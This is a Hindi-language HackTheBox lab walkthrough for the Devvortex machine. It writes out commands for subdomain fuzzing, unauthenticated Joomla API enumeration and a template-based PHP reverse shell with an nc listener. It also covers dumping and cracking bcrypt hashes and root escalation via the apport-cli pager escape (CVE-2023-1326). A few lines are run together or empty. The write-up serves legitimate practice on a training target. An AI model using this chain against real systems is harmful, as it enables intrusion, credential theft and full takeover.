
HackTheBox Devvortex वॉकथ्रू जिसमें सबडोमेन फ़ज़िंग, Joomla API एन्यूमरेशन, टेम्पलेट-आधारित वेब शेल, bcrypt हैश क्रैकिंग, और Apport-CLI CVE-2023-1326 प्रिविलेज एस्केलेशन शामिल है।
HackTheBox पर Devvortex मशीन के कम्प्रोमाइज़ का विस्तृत तकनीकी वॉकथ्रू। यह पथ सबडोमेन फ़ज़िंग, Joomla API एन्यूमरेशन, प्रारंभिक एक्सेस के लिए टेम्पलेट संशोधन, लेटरल मूवमेंट के लिए डेटाबेस हैश निष्कर्षण और क्रैकिंग, और रूट तक प्रिविलेज एस्केलेशन के लिए Apport-CLI (CVE-2023-1326) के शोषण को प्रदर्शित करता है।
devvortex.htbdev.devvortex.htbapport-cli)।सभी पोर्ट्स पर एक प्रारंभिक तेज़ TCP पोर्ट डिस्कवरी की गई:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
पहचाने गए खुले पोर्ट्स के विरुद्ध एक अनुवर्ती सेवा और संस्करण डिटेक्शन स्कैन निष्पादित किया गया:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
अपनी स्थानीय होस्टनेम रिज़ॉल्यूशन तालिका में बेस लक्ष्य डोमेन जोड़ें:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
अतिरिक्त वेब एसेट्स की पहचान के लिए वर्चुअल होस्ट्स को फ़ज़ करना:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
परिणाम: dev.devvortex.htb खोजा गया। /etc/hosts में dev.devvortex.htb जोड़ा गया।
नए खोजे गए वर्चुअल होस्ट पर रूट्स की एन्यूमरेशन:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
परिणाम: /administrator एंडपॉइंट खोजा गया, जो एक Joomla एडमिन ऑथेंटिकेशन पोर्टल को उजागर करता है।
संवेदनशील एप्लिकेशन मेट्रिक्स और उपयोगकर्ताओं को इकट्ठा करने के लिए Joomla के REST API द्वारा उजागर सार्वजनिक एंडपॉइंट्स की जाँच:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
एन्यूमरेशन के दौरान पाए गए क्रेडेंशियल्स का उपयोग करके, Joomla /administrator पोर्टल में लॉग इन करें:
System > Site Templates पर जाएँ।
सक्रिय टेम्पलेट चुनें और error.php खोलें।
error.php की सामग्री को एक मानक PHP रिवर्स शेल पेलोड से बदलें।
एक स्थानीय netcat लिसनर प्रारंभ करें:
Bash
nc -lvnp 4444
एक अनुपस्थित पेज का अनुरोध करके या सीधे फ़ाइल को हिट करके error.php के निष्पादन को ट्रिगर करें।
एक बार शेल www-data के रूप में कनेक्ट हो जाने पर, एक इंटरैक्टिव PTY सत्र उत्पन्न करें:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
वेब कॉन्फ़िगरेशन फ़ाइलों से प्राप्त क्रेडेंशियल्स का उपयोग करके स्थानीय MySQL डेटाबेस तक पहुँचें:
Bash
mysql -u lewis -p
संग्रहीत क्रेडेंशियल हैश का पता लगाने के लिए उपयोगकर्ता तालिका को क्वेरी करें:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
उपयोगकर्ता logan के लिए bcrypt पासवर्ड हैश को एक स्थानीय फ़ाइल में निकालें:
Bash
nano hash.txt
rockyou.txt के साथ John the Ripper का उपयोग करके हैश को क्रैक करें:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
क्रैक किए गए क्रेडेंशियल्स के साथ उपयोगकर्ता logan के रूप में एक स्थायी SSH सत्र स्थापित करें:
Bash
Bash
cat user.txt
logan उपयोगकर्ता के लिए अनुमत बाइनरीज़ का निरीक्षण करें:
Bash
sudo -l
आउटपुट: उपयोगकर्ता /usr/bin/apport-cli को root के रूप में चला सकता है।
apport-cli के इंस्टॉल किए गए संस्करण की जाँच करें:
Bash
apport-cli --version
मौजूदा रिपोर्ट फ़ाइलों के लिए /var/crash का निरीक्षण करें। यदि खाली है, तो मैन्युअल रूप से एक क्रैश फ़ाइल बनाएँ:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
sudo का उपयोग करके बनाई गई क्रैश फ़ाइल के विरुद्ध apport-cli लॉन्च करें:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
View report के लिए v दबाएँ।
जब पेजिनेटर (less) सामग्री लोड करता है, तो निम्न दर्ज करके सिस्टम शेल में एस्केप करें:
Plaintext
!/bin/bash
root एलिवेशन सत्यापित करें:
Bash
whoami
# Output: root
Bash
cat /root/root.txt